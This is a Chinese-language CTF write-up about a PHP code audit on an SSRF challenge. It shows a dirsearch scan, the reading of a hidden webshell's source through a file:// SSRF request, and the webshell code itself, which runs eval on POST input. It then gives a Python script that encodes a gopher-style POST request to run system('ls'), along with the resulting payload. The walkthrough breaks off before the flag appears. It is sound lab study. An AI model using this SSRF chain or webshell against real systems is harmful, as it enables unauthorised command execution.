记一次简单的PHP代码审计（SSRF案例）

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

题目链接：

http://oj.momomoxiaoxi.com:9090/

用dirsearch对网址进行扫描，发现robots.txt

命令行：

python3 dirsearch.py -u "http://oj.momomoxiaoxi.com:9090/" -e *

于是输入网址打开这个文件：

http://oj.momomoxiaoxi.com:9090/robots.txt

得到以下页面：

发现了隐藏的页面，输入以下网址得到源代码：

http://oj.momomoxiaoxi.com:9090/index.php?url=file:///var/www/html/webshe11111111.php

将代码复制下来在本地新建一个PHP文件：

 <?php

 $serverList = array(

     "127.0.0.1"

 );

 $ip = $_SERVER['REMOTE_ADDR'];

 foreach ($serverList as $host) {

     if ($ip === $host) {

         if ((!empty($_POST['admin'])) and $_POST['admin'] === 'h1admin') {

             @eval($_POST['hacker']);

         } else {

             die("You aren't admin!");

         }

     } else {

         die('This is webshell');

     }

 }

将其运行，得到如下页面：

按F12后点击HackBar插件，将进行如下修改：

即在本地搭建了一个环境，满足了源码中的host，然后发送POST请求，进行抓包，得到如下界面：

将其POST内容进行修改后写进脚本中：

 exp='''\

 POST /webshe11111111.php HTTP/1.1

 Host:127.0.0.1

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

 Accept-Encoding: gzip, deflate

 Referer: http://localhost:63342/php/webshe11111111.php

 Content-Type: application/x-www-form-urlencoded

 Content-Length: 34

 Cookie: Phpstorm-c2b818=be05b847-c935-441b-bdb7-465508c336b0

 Connection: close

 Upgrade-Insecure-Requests: 1

 admin=h1admin&hacker=system('ls');

 '''

 import urllib

 tmp = urllib.quote(exp)

 new = tmp.replace("%0A","%0D%0A")

 result = "_"+urllib.quote(new)

 print result

运行后得到字符串：

_POST%2520/webshe11111111.php%2520HTTP/1.1%250D%250AHost%253A127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A61.0%2529%2520Gecko/20100101%2520Firefox/61.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A//localhost%253A63342/php/webshe11111111.php%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252034%250D%250ACookie%253A%2520Phpstorm-c2b818%253Dbe05b847-c935-441b-bdb7-465508c336b0%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Aadmin%253Dh1admin%2526hacker%253Dsystem%2528%2527ls%2527%2529%253B%250D%250A

复制到链接中得到存放flag的页面：